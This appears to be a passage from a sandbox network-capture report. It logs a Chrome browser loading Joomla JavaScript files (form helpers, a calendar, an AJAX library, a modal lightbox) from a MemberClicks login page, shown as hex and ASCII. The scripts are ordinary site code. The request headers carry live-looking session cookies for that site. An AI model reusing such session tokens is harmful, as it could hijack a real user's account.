2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 67 65 6e 65 72 61 6c 20 75 74 69 6c 69 74 79 20 66 6f 72 20 62 72 6f 77 73 69 6e 67 20 61 20 6e 61 6d 65 64 20 61 72 72 61 79 20 6f 72 20 6f 62 6a 65 63 74 0a 66 75 6e 63 74 69 6f 6e 20 78 73 68 6f 77 28 6f 29 20 7b 0a 09 73 20 3d 20 27 27 3b 0a 09 66 6f 72 28 65 20 69 6e 20 6f 29 20 7b 73 20 2b 3d 20 65 2b 27 3d 27 2b 6f 5b 65 5d 2b 27 5c 6e 27 3b 7d 0a 09 61 6c 65 72 74 28 20 73 20 29 3b 0a 7d 0a 0a 2f 2a 2a 0a 2a 20 57 72 69 74 65 73 20 61 20 64 79 6e 61 6d 69 63 61 6c 6c 79 20 67 65 6e 65 72 61 74 65 64 20 6c 69 73 74 0a 2a 20 40 70 61 72 61 6d 20 73 74 72 69 6e 67 20 54 68 65 20 70 61 72 61 6d 65 74 65 72 73 20 74 6f 20 69 6e 73 65 72 74 20 69 6e 74 6f 20 74 68 65 20 3c 73 65 6c 65 63 74 3e 20 74 61 67 0a 2a 20 40 70 61 72 61 6d 20 61 72 72 61 79 Data Ascii: general utility for browsing a named array or objectfunction xshow(o) {s = '';for(e in o) {s += e+'='+o[e]+'\n';}alert( s );}/*** Writes a dynamically generated list* @param string The parameters to insert into the <select> tag* @param array
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 2c 20 6f 72 69 67 5f 76 61 6c 20 29 20 7b 0a 09 76 61 72 20 6c 69 73 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 61 64 6d 69 6e 46 6f 72 6d 5b 20 6c 69 73 74 6e 61 6d 65 20 5d 3b 0a 09 2f 2f 20 65 6d 70 74 79 20 74 68 65 20 6c 69 73 74 0a 09 66 6f 72 20 28 69 20 69 6e 20 6c 69 73 74 2e 6f 70 74 69 6f 6e 73 2e 6c 65 6e 67 74 68 29 20 7b 0a 09 09 6c 69 73 74 2e 6f 70 74 69 6f 6e 73 5b 69 5d 20 3d 20 6e 75 6c 6c 3b 0a 09 7d 0a 09 69 20 3d 20 30 3b 0a 09 66 6f 72 20 28 78 20 69 6e 20 73 6f 75 72 63 65 29 20 7b 0a 09 09 69 66 20 28 73 6f 75 72 63 65 5b 78 5d 5b 30 5d 20 3d 3d 20 6b 65 79 29 20 7b 0a 09 09 09 6f 70 74 20 3d 20 6e 65 77 20 4f 70 74 69 6f 6e 28 29 3b 0a 09 09 09 6f 70 74 2e 76 61 6c 75 65 20 3d 20 73 6f 75 72 63 65 5b 78 5d 5b 31 5d 3b 0a 09 09 09 6f Data Ascii: , orig_val ) {var list = document.adminForm[ listname ];// empty the listfor (i in list.options.length) {list.options[i] = null;}i = 0;for (x in source) {if (source[x][0] == key) {opt = new Option();opt.value = source[x][1];o
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 3b 0a 0a 09 76 61 72 20 73 72 63 4c 65 6e 20 3d 20 73 72 63 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 0a 0a 09 66 6f 72 20 28 76 61 72 20 69 3d 73 72 63 4c 65 6e 2d 31 3b 20 69 20 3e 20 2d 31 3b 20 69 2d 2d 29 20 7b 0a 09 09 69 66 20 28 73 72 63 4c 69 73 74 2e 6f 70 74 69 6f 6e 73 5b 69 5d 2e 73 65 6c 65 63 74 65 64 29 20 7b 0a 09 09 09 73 72 63 4c 69 73 74 2e 6f 70 74 69 6f 6e 73 5b 69 5d 20 3d 20 6e 75 6c 6c 3b 0a 09 09 7d 0a 09 7d 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 6d 6f 76 65 49 6e 4c 69 73 74 28 20 66 72 6d 4e 61 6d 65 2c 20 73 72 63 4c 69 73 74 4e 61 6d 65 2c 20 69 6e 64 65 78 2c 20 74 6f 29 20 7b 0a 09 76 61 72 20 66 6f 72 6d 20 3d 20 65 76 61 6c 28 20 27 64 6f 63 75 6d 65 6e 74 2e 27 20 2b 20 66 72 6d 4e 61 6d 65 20 29 3b 0a 09 76 61 72 20 73 72 63 Data Ascii: ;var srcLen = srcList.length;for (var i=srcLen-1; i > -1; i--) {if (srcList.options[i].selected) {srcList.options[i] = null;}}}function moveInList( frmName, srcListName, index, to) {var form = eval( 'document.' + frmName );var src
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 0a 0a 09 66 6f 72 20 28 76 61 72 20 69 3d 30 3b 20 69 20 3c 20 73 72 63 4c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 09 09 73 72 63 4c 69 73 74 2e 6f 70 74 69 6f 6e 73 5b 69 5d 2e 73 65 6c 65 63 74 65 64 20 3d 20 66 61 6c 73 65 3b 0a 09 09 69 66 20 28 73 72 63 4c 69 73 74 2e 6f 70 74 69 6f 6e 73 5b 69 5d 2e 76 61 6c 75 65 20 3d 3d 20 76 61 6c 75 65 29 20 7b 0a 09 09 09 73 72 63 4c 69 73 74 2e 6f 70 74 69 6f 6e 73 5b 69 5d 2e 73 65 6c 65 63 74 65 64 20 3d 20 74 72 75 65 3b 0a 09 09 7d 0a 09 7d 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 53 65 6c 65 63 74 65 64 52 61 64 69 6f 28 20 66 72 6d 4e 61 6d 65 2c 20 73 72 63 47 72 6f 75 70 4e 61 6d 65 20 29 20 7b 0a 09 76 61 72 20 66 6f 72 6d 20 3d 20 65 76 61 6c 28 20 27 64 6f 63 75 6d 65 6e 74 Data Ascii: .length;for (var i=0; i < srcLen; i++) {srcList.options[i].selected = false;if (srcList.options[i].value == value) {srcList.options[i].selected = true;}}}function getSelectedRadio( frmName, srcGroupName ) {var form = eval( 'document
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 75 65 28 20 66 72 6d 4e 61 6d 65 2c 20 73 72 63 4c 69 73 74 4e 61 6d 65 2c 20 76 61 6c 75 65 20 29 20 7b 0a 09 76 61 72 20 66 6f 72 6d 20 3d 20 65 76 61 6c 28 20 27 64 6f 63 75 6d 65 6e 74 2e 27 20 2b 20 66 72 6d 4e 61 6d 65 20 29 3b 0a 09 76 61 72 20 73 72 63 4c 69 73 74 20 3d 20 65 76 61 6c 28 20 27 66 6f 72 6d 2e 27 20 2b 20 73 72 63 4c 69 73 74 4e 61 6d 65 20 29 3b 0a 0a 09 69 20 3d 20 73 72 63 4c 69 73 74 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 3b 0a 09 69 66 20 28 69 20 21 3d 20 6e 75 6c 6c 20 26 26 20 69 20 3e 20 2d 31 29 20 7b 0a 09 09 73 72 63 4c 69 73 74 2e 6f 70 74 69 6f 6e 73 5b 69 5d 2e 76 61 6c 75 65 20 3d 20 76 61 6c 75 65 3b 0a 09 09 72 65 74 75 72 6e 20 74 72 75 65 3b 0a 09 7d 20 65 6c 73 65 20 7b 0a 09 09 72 65 74 75 72 6e 20 66 61 6c Data Ascii: ue( frmName, srcListName, value ) {var form = eval( 'document.' + frmName );var srcList = eval( 'form.' + srcListName );i = srcList.selectedIndex;if (i != null && i > -1) {srcList.options[i].value = value;return true;} else {return fal
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 29 7b 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 61 64 6d 69 6e 46 6f 72 6d 2e 62 6f 78 63 68 65 63 6b 65 64 2e 76 61 6c 75 65 2b 2b 3b 0a 09 7d 0a 09 65 6c 73 65 20 7b 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 61 64 6d 69 6e 46 6f 72 6d 2e 62 6f 78 63 68 65 63 6b 65 64 2e 76 61 6c 75 65 2d 2d 3b 0a 09 7d 0a 7d 0a 0a 2f 2a 2a 0a 2a 20 44 65 66 61 75 6c 74 20 66 75 6e 63 74 69 6f 6e 2e 20 20 55 73 75 61 6c 6c 79 20 77 6f 75 6c 64 20 62 65 20 6f 76 65 72 72 69 64 65 6e 20 62 79 20 74 68 65 20 63 6f 6d 70 6f 6e 65 6e 74 0a 2a 2f 0a 66 75 6e 63 74 69 6f 6e 20 73 75 62 6d 69 74 62 75 74 74 6f 6e 28 70 72 65 73 73 62 75 74 74 6f 6e 29 20 7b 0a 09 73 75 62 6d 69 74 66 6f 72 6d 28 70 72 65 73 73 62 75 74 74 6f 6e 29 3b 0a 7d 0a 0a 2f 2a 2a 0a 2a 20 53 75 62 6d 69 74 20 74 68 Data Ascii: ){document.adminForm.boxchecked.value++;}else {document.adminForm.boxchecked.value--;}}/*** Default function. Usually would be overriden by the component/function submitbutton(pressbutton) {submitform(pressbutton);}/** Submit th
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 7b 0a 09 63 61 6c 2e 68 69 64 65 28 29 3b 09 09 09 2f 2f 20 68 69 64 65 20 74 68 65 20 63 61 6c 65 6e 64 61 72 0a 0a 09 2f 2f 20 64 6f 6e 27 74 20 63 68 65 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6f 6e 20 64 6f 63 75 6d 65 6e 74 20 61 6e 79 6d 6f 72 65 20 28 75 73 65 64 20 74 6f 20 62 65 20 61 62 6c 65 20 74 6f 20 68 69 64 65 20 74 68 65 0a 09 2f 2f 20 63 61 6c 65 6e 64 61 72 20 77 68 65 6e 20 73 6f 6d 65 6f 6e 65 20 63 6c 69 63 6b 73 20 6f 75 74 73 69 64 65 20 69 74 2c 20 73 65 65 20 74 68 65 20 73 68 6f 77 43 61 6c 65 6e 64 61 72 20 66 75 6e 63 74 69 6f 6e 29 2e 0a 09 43 61 6c 65 6e 64 61 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2c 20 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 20 63 68 65 63 6b 43 61 6c 65 6e 64 61 72 29 3b 0a 7d 0a 0a Data Ascii: {cal.hide();// hide the calendar// don't check mousedown on document anymore (used to be able to hide the// calendar when someone clicks outside it, see the showCalendar function).Calendar.removeEvent(document, "mousedown", checkCalendar);}
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 0a 09 09 2f 2f 20 66 69 72 73 74 2d 74 69 6d 65 20 63 61 6c 6c 2c 20 63 72 65 61 74 65 20 74 68 65 20 63 61 6c 65 6e 64 61 72 0a 09 09 76 61 72 20 63 61 6c 20 3d 20 6e 65 77 20 43 61 6c 65 6e 64 61 72 28 74 72 75 65 2c 20 6e 75 6c 6c 2c 20 73 65 6c 65 63 74 65 64 2c 20 63 6c 6f 73 65 48 61 6e 64 6c 65 72 29 3b 0a 09 09 63 61 6c 65 6e 64 61 72 20 3d 20 63 61 6c 3b 09 09 2f 2f 20 72 65 6d 65 6d 62 65 72 20 74 68 65 20 63 61 6c 65 6e 64 61 72 20 69 6e 20 74 68 65 20 67 6c 6f 62 61 6c 0a 09 09 63 61 6c 2e 73 65 74 52 61 6e 67 65 28 31 39 30 30 2c 20 32 30 37 30 29 3b 09 2f 2f 20 6d 69 6e 2f 6d 61 78 20 79 65 61 72 20 61 6c 6c 6f 77 65 64 0a 0a 09 09 69 66 20 28 20 64 61 74 65 46 6f 72 6d 61 74 20 29 09 2f 2f 20 6f 70 74 69 6f 6e 61 6c 20 64 61 74 65 20 66 6f Data Ascii: // first-time call, create the calendarvar cal = new Calendar(true, null, selected, closeHandler);calendar = cal;// remember the calendar in the globalcal.setRange(1900, 2070);// min/max year allowedif ( dateFormat )// optional date fo
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 2b 3b 0a 20 20 20 20 20 20 73 20 3d 20 73 2e 73 75 62 73 74 72 69 6e 67 28 6a 2c 20 69 29 3b 0a 20 20 20 7d 0a 20 20 20 72 65 74 75 72 6e 20 73 3b 0a 7d 0a 0a 2f 2f 52 54 72 69 6d 28 73 74 72 69 6e 67 29 20 3a 20 52 65 74 75 72 6e 73 20 61 20 63 6f 70 79 20 6f 66 20 61 20 73 74 72 69 6e 67 20 77 69 74 68 6f 75 74 20 74 72 61 69 6c 69 6e 67 20 73 70 61 63 65 73 2e 0a 66 75 6e 63 74 69 6f 6e 20 72 74 72 69 6d 28 73 74 72 29 0a 7b 0a 20 20 20 76 61 72 20 77 68 69 74 65 73 70 61 63 65 20 3d 20 6e 65 77 20 53 74 72 69 6e 67 28 22 20 5c 74 5c 6e 5c 72 22 29 3b 0a 20 20 20 76 61 72 20 73 20 3d 20 6e 65 77 20 53 74 72 69 6e 67 28 73 74 72 29 3b 0a 20 20 20 69 66 20 28 77 68 69 74 65 73 70 61 63 65 2e 69 6e 64 65 78 4f 66 28 73 2e 63 68 61 72 41 74 28 73 2e 6c 65 Data Ascii: +; s = s.substring(j, i); } return s;}//RTrim(string) : Returns a copy of a string without trailing spaces.function rtrim(str){ var whitespace = new String(" \t\n\r"); var s = new String(str); if (whitespace.indexOf(s.charAt(s.le

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.6	49911	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	729	OUT	GET /plugins/system/pc_includes/ajax_1.3.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:00 UTC	528	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:00 GMT Content-Type: application/javascript Content-Length: 8843 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:59 GMT etag: "228b-609b6861cdbc0" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:00 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb6b8177bcc-ATL
2024-04-23 14:54:00 UTC	841	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 4a 61 78 28 29 7b 76 61 72 20 6c 6f 61 64 69 6e 67 54 69 6d 65 6f 75 74 3d 34 30 30 3b 76 61 72 20 69 66 72 61 6d 65 3b 74 68 69 73 2e 6c 6f 61 64 69 6e 67 46 75 6e 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 74 68 69 73 2e 64 6f 6e 65 4c 6f 61 64 69 6e 67 46 75 6e 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 74 68 69 73 2e 73 74 72 69 6e 67 69 66 79 3d 66 75 6e 63 74 69 6f 6e 28 61 72 67 29 7b 76 61 72 20 63 2c 69 2c 6c 2c 6f 2c 75 2c 76 3b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 61 72 67 29 7b 63 61 73 65 22 6f 62 6a 65 63 74 22 3a 69 66 28 61 72 67 29 7b 69 66 28 61 72 67 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 41 72 72 61 79 29 7b 6f 3d 22 22 3b 66 6f 72 28 69 3d 30 3b 69 3c 61 72 67 2e 6c 65 6e Data Ascii: function Jax(){var loadingTimeout=400;var iframe;this.loadingFunction=function(){};this.doneLoadingFunction=function(){};this.stringify=function(arg){var c,i,l,o,u,v;switch(typeof arg){case"object":if(arg){if(arg.constructor==Array){o="";for(i=0;i<arg.len
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 65 61 6b 3b 63 61 73 65 22 5c 74 22 3a 6f 2b 3d 22 5c 5c 74 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 63 3d 63 2e 63 68 61 72 43 6f 64 65 41 74 28 29 3b 6f 2b 3d 22 5c 5c 75 30 30 22 3b 6f 2b 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 63 2f 31 36 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3b 6f 2b 3d 28 63 25 31 36 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 7d 7d 7d 72 65 74 75 72 6e 20 6f 2b 27 22 27 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 61 72 67 29 7d 7d 3b 74 68 69 73 2e 67 65 74 52 65 71 75 65 73 74 4f 62 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 77 69 6e 64 6f 77 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 29 7b 68 74 74 70 5f 72 65 71 75 65 73 74 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 Data Ascii: eak;case"\t":o+="\\t";break;default:c=c.charCodeAt();o+="\\u00";o+=Math.floor(c/16).toString(16);o+=(c%16).toString(16)}}}return o+'"';default:return String(arg)}};this.getRequestObject=function(){if(window.XMLHttpRequest){http_request=new XMLHttpRequest(
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 69 66 72 61 6d 65 22 29 3b 74 68 69 73 2e 69 66 72 61 6d 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 22 61 6a 61 78 49 66 72 61 6d 65 22 29 3b 74 68 69 73 2e 69 66 72 61 6d 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 22 2c 30 29 3b 74 68 69 73 2e 69 66 72 61 6d 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 2c 30 29 3b 74 68 69 73 2e 69 66 72 61 6d 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 62 6f 72 64 65 72 22 2c 30 29 3b 74 68 69 73 2e 69 66 72 61 6d 65 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 68 69 73 2e 69 66 72 61 6d 65 29 3b 74 68 69 73 2e 69 66 72 61 6d 65 2e 73 72 63 Data Ascii: iframe");this.iframe.setAttribute("id","ajaxIframe");this.iframe.setAttribute("height",0);this.iframe.setAttribute("width",0);this.iframe.setAttribute("border",0);this.iframe.style.visibility="hidden";document.body.appendChild(this.iframe);this.iframe.src
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 3b 78 6d 6c 68 74 74 70 2e 73 65 6e 64 28 78 6d 6c 52 65 71 29 7d 3b 74 68 69 73 2e 70 72 6f 63 65 73 73 49 52 65 73 70 6f 6e 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6a 61 78 2e 64 6f 6e 65 4c 6f 61 64 69 6e 67 46 75 6e 63 74 69 6f 6e 28 29 3b 76 61 72 20 72 65 73 70 3d 28 74 68 69 73 2e 65 78 74 72 61 63 74 49 46 72 61 6d 65 42 6f 64 79 28 74 68 69 73 2e 69 66 72 61 6d 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 29 3b 72 65 73 70 3d 72 65 73 70 2e 72 65 70 6c 61 63 65 28 2f 26 6c 74 3b 2f 67 2c 22 3c 22 29 3b 72 65 73 70 3d 72 65 73 70 2e 72 65 70 6c 61 63 65 28 2f 26 67 74 3b 2f 67 2c 22 3e 22 29 3b 72 65 73 70 3d 72 65 73 70 2e 72 65 70 6c 61 63 65 Data Ascii: ,"application/x-www-form-urlencoded");xmlhttp.send(xmlReq)};this.processIResponse=function(){jax.doneLoadingFunction();var resp=(this.extractIFrameBody(this.iframe).innerHTML);resp=resp.replace(/</g,"<");resp=resp.replace(/>/g,">");resp=resp.replace
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 43 6f 6d 70 6f 6e 65 6e 74 28 61 29 29 3b 61 72 67 2b 3d 22 61 72 67 22 2b 69 2b 22 3d 22 2b 74 68 69 73 2e 73 74 72 69 6e 67 69 66 79 28 74 29 2b 22 26 22 7d 65 6c 73 65 7b 76 61 72 20 74 3d 6e 65 77 20 41 72 72 61 79 28 22 5f 64 5f 22 2c 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 29 29 3b 61 72 67 2b 3d 22 61 72 67 22 2b 69 2b 22 3d 22 2b 74 68 69 73 2e 73 74 72 69 6e 67 69 66 79 28 74 29 2b 22 26 22 7d 7d 7d 7d 69 66 28 6a 61 78 5f 73 69 74 65 5f 74 79 70 65 3d 3d 22 31 2e 35 22 29 7b 74 68 69 73 2e 73 75 62 6d 69 74 54 61 73 6b 28 63 6f 6d 4e 61 6d 65 2c 73 46 75 6e 63 74 69 6f 6e 2c 61 72 67 29 7d 65 6c 73 65 7b 74 68 69 73 2e 73 75 62 6d 69 74 49 54 61 73 6b 28 63 6f 6d 4e 61 6d 65 2c 73 46 75 6e 63 74 69 6f 6e 2c 61 72 67 29 7d 7d Data Ascii: Component(a));arg+="arg"+i+"="+this.stringify(t)+"&"}else{var t=new Array("_d_",encodeURIComponent(a));arg+="arg"+i+"="+this.stringify(t)+"&"}}}}if(jax_site_type=="1.5"){this.submitTask(comName,sFunction,arg)}else{this.submitITask(comName,sFunction,arg)}}
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 73 26 26 74 68 69 73 5b 66 72 6f 6d 5d 3d 3d 3d 65 6c 74 29 7b 72 65 74 75 72 6e 20 66 72 6f 6d 7d 7d 72 65 74 75 72 6e 20 2d 31 7d 7d 76 61 72 20 70 6f 73 74 44 61 74 61 3d 6e 65 77 20 41 72 72 61 79 28 29 3b 69 66 28 6f 62 6a 46 6f 72 6d 26 26 6f 62 6a 46 6f 72 6d 2e 74 61 67 4e 61 6d 65 3d 3d 22 46 4f 52 4d 22 29 7b 76 61 72 20 66 6f 72 6d 45 6c 65 6d 65 6e 74 73 3d 6f 62 6a 46 6f 72 6d 2e 65 6c 65 6d 65 6e 74 73 3b 76 61 72 20 61 73 73 43 68 65 63 6b 62 6f 78 3d 6e 65 77 20 41 72 72 61 79 28 29 3b 76 61 72 20 61 73 73 43 6e 74 49 64 78 3d 30 3b 76 61 72 20 61 72 72 61 79 48 69 64 64 65 6e 56 61 6c 75 65 73 3d 6e 65 77 20 41 72 72 61 79 28 29 3b 76 61 72 20 61 72 72 61 79 48 69 64 64 65 6e 43 6f 75 6e 74 3d 30 3b 69 66 28 66 6f 72 6d 45 6c 65 6d 65 6e Data Ascii: s&&this[from]===elt){return from}}return -1}}var postData=new Array();if(objForm&&objForm.tagName=="FORM"){var formElements=objForm.elements;var assCheckbox=new Array();var assCntIdx=0;var arrayHiddenValues=new Array();var arrayHiddenCount=0;if(formElemen
2024-04-23 14:54:00 UTC	1157	IN	Data Raw: 66 28 68 69 64 64 65 6e 45 6c 65 6d 65 6e 74 29 7b 69 66 28 68 69 64 64 65 6e 45 6c 65 6d 65 6e 74 2e 6c 65 6e 67 74 68 3e 31 29 7b 76 61 72 20 63 75 72 4c 65 6e 3d 70 6f 73 74 44 61 74 61 2e 6c 65 6e 67 74 68 3b 70 6f 73 74 44 61 74 61 5b 63 75 72 4c 65 6e 5d 3d 6e 65 77 20 41 72 72 61 79 28 29 3b 66 6f 72 28 76 61 72 20 6a 3d 30 3b 6a 3c 68 69 64 64 65 6e 45 6c 65 6d 65 6e 74 2e 6c 65 6e 67 74 68 3b 6a 2b 2b 29 7b 76 61 72 20 76 61 6c 75 65 3d 68 69 64 64 65 6e 45 6c 65 6d 65 6e 74 5b 6a 5d 2e 76 61 6c 75 65 3b 76 61 6c 75 65 3d 76 61 6c 75 65 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 3b 70 6f 73 74 44 61 74 61 5b 63 75 72 4c 65 6e 5d 5b 6a 5d 3d 6e 65 77 20 41 72 72 61 79 28 61 72 72 61 79 48 69 64 64 65 6e 56 61 6c 75 65 73 Data Ascii: f(hiddenElement){if(hiddenElement.length>1){var curLen=postData.length;postData[curLen]=new Array();for(var j=0;j<hiddenElement.length;j++){var value=hiddenElement[j].value;value=value.replace(/"/g,""");postData[curLen][j]=new Array(arrayHiddenValues

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.6	49912	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	715	OUT	GET /media/system/js/modal.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:00 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:00 GMT Content-Type: application/javascript Content-Length: 12335 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:59 GMT etag: "302f-609b6861cdbc0" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:00 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb6db951d7e-ATL
2024-04-23 14:54:00 UTC	840	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 53 71 75 65 65 7a 65 42 6f 78 20 2d 20 45 78 70 61 6e 64 61 62 6c 65 20 4c 69 67 68 74 62 6f 78 0a 20 2a 0a 20 2a 20 41 6c 6c 6f 77 73 20 74 6f 20 6f 70 65 6e 20 76 61 72 69 6f 75 73 20 63 6f 6e 74 65 6e 74 20 61 73 20 6d 6f 64 61 6c 2c 0a 20 2a 20 63 65 6e 74 65 72 65 64 20 61 6e 64 20 61 6e 69 6d 61 74 65 64 20 62 6f 78 2e 0a 20 2a 0a 20 2a 20 49 6e 73 70 69 72 65 64 20 62 79 0a 20 2a 20 20 2e 2e 2e 20 4c 6f 6b 65 73 68 20 44 68 61 6b 61 72 09 2d 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 4c 69 67 68 74 62 6f 78 20 76 32 0a 20 2a 20 20 2e 2e 2e 20 43 6f 64 79 20 4c 69 6e 64 6c 65 79 09 2d 20 54 68 69 63 6b 42 6f 78 0a 20 2a 0a 20 2a 20 40 76 65 72 73 69 6f 6e 09 09 31 2e 30 72 63 31 0a 20 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 09 09 Data Ascii: /** * SqueezeBox - Expandable Lightbox * * Allows to open various content as modal, * centered and animated box. * * Inspired by * ... Lokesh Dhakar- The original Lightbox v2 * ... Cody Lindley- ThickBox * * @version1.0rc1 * * @license
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6c 61 79 44 75 72 61 74 69 6f 6e 3a 20 32 35 30 2c 0a 09 09 66 78 52 65 73 69 7a 65 44 75 72 61 74 69 6f 6e 3a 20 37 35 30 2c 0a 09 09 66 78 43 6f 6e 74 65 6e 74 44 75 72 61 74 69 6f 6e 3a 20 32 35 30 2c 0a 09 09 61 6a 61 78 4f 70 74 69 6f 6e 73 3a 20 7b 7d 2c 0a 20 20 20 20 20 20 20 20 69 73 4e 65 77 44 61 74 61 62 61 73 65 3a 20 66 61 6c 73 65 0a 09 7d 2c 0a 0a 09 69 6e 69 74 69 61 6c 69 7a 65 3a 20 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 20 7b 0a 09 09 69 66 20 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 29 20 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 09 74 68 69 73 2e 70 72 65 73 65 74 73 20 3d 20 24 6d 65 72 67 65 28 74 68 69 73 2e 70 72 65 73 65 74 73 2c 20 6f 70 74 69 6f 6e 73 29 0a 09 09 74 68 69 73 2e 73 65 74 4f 70 74 69 6f 6e 73 28 74 68 Data Ascii: layDuration: 250,fxResizeDuration: 750,fxContentDuration: 250,ajaxOptions: {}, isNewDatabase: false},initialize: function(options) {if (this.options) return this;this.presets = $merge(this.presets, options)this.setOptions(th
